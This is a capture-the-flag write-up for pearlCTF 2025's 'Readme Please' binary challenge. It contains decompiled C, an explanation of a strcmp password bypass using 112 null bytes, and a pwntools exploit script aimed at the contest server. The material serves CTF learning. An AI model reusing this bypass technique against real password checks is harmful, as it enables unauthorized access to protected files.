Readme Please
Description
I made a very secure file reading service.
Links: nc readme-please.ctf.pearlctf.in 30039
Files: readme_src.zip
Solve Walkthrough
This is also a simple pwn challenge, without special technique. Only depends on your logic and knowledge in binary.
First, after we unzip the source code, let's check the ELF binary protection.
[*] '/home/hurtz4eva/Nextcloud/CTF/international/pearlCTF/2025/pwn/readme_please/source/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
This is a list of available functions inside the binary.

We only got 2 interesting function symbols, which is the
main
function andgenerate_password
function.Here's the decompiled of
main
andgenerate_password
functions.
// main function.
undefined8 main(void)
{
int iVar1;
char *pcVar2;
FILE *__stream;
long in_FS_OFFSET;
int local_18c;
char local_178 [112];
char local_108 [112];
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
generate_password(local_98,0x7f);
printf("Welcome to file reading service!");
fflush(stdout);
local_18c = 0;
do {
if (1 < local_18c) {
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
printf("\nEnter the file name: ");
fflush(stdout);
__isoc99_scanf(&DAT_00102088,local_178);
pcVar2 = __xpg_basename(local_178);
__stream = fopen(local_178,"r");
if (__stream == (FILE *)0x0) {
puts("Please don\'t try anything funny!");
fflush(stdout);
}
else {
iVar1 = strcmp(pcVar2,"flag.txt");
if (iVar1 == 0) {
printf("Enter password: ");
fflush(stdout);
__isoc99_scanf(&DAT_00102088,local_108);
iVar1 = strcmp(local_108,local_98);
if (iVar1 != 0) {
puts("Incorrect password!");
fflush(stdout);
goto LAB_001015f2;
}
}
while( true ) {
pcVar2 = fgets(local_108,100,__stream);
if (pcVar2 == (char *)0x0) break;
printf("%s",local_108);
fflush(stdout);
}
fclose(__stream);
}
LAB_001015f2:
local_18c = local_18c + 1;
} while( true );
}
Pretty long huh?, but the code is straightforward:
First, the code will generate a new password to protect the
files/flag.txt
file that we inputed. The password is randomly generated from/dev/urandom
file and will be store inlocal_98
array with only 112 Bytes.We've to input the correct path of a target file that we want to read. There are only 3 files that we can read from the remote machine, including
flag.txt
,default.txt
, and thenote-1.txt
(I aware you not to read this file :v).If we type:
files/flag.txt
, it means that we've to provide the password. Otherwise, all files can be read without have to provide a password.Tips: Don't get too confused in the password transformation from
/dev/urandom
in thegenerate_password
function. Better leave it haha..
Notice that in the
main
function is comparing a string oflocal_98
(generated password) with alocal_108
(user input password).
// snipped code.
if (__stream == (FILE *)0x0) {
puts("Please don\'t try anything funny!");
fflush(stdout);
}
else {
iVar1 = strcmp(pcVar2,"flag.txt");
if (iVar1 == 0) {
printf("Enter password: ");
fflush(stdout);
__isoc99_scanf(&DAT_00102088,local_108);
iVar1 = strcmp(local_108,local_98); // vuln is happen here.
if (iVar1 != 0) {
puts("Incorrect password!");
fflush(stdout);
goto LAB_001015f2;
}
}
// snipped code.
How we can bypass the condition? Since it was using the
strcmp
function, so we can send some\x00
(NULL Byte) characters in the input password prompt.But, how long the
\x00
characters that we need? It's only112
Bytes (0x70) until our input is reach the max of array length.So, here's my exploit script.
#!/usr/bin/env python3
from pwn import *
import itertools
context.binary = elf = ELF("./main", checksec=0)
context.log_level = "DEBUG"
is_remote = True
if is_remote:
io = remote("readme-please.ctf.pearlctf.in", 30039)
else:
io = elf.process()
# Send first request to read the flag.txt file.
io.sendlineafter(b"Enter the file name: ", b"files/flag.txt")
# Abuse the string comparison with \x00 characters.
io.sendlineafter(b"Enter password: ", b"\x00"*0x70) # 112 Bytes.
print(io.recvall(timeout=1))
# Close the remote connection.
io.close()

Flag
pearl{f1l3_d3script0rs_4r3_c00l}
Last updated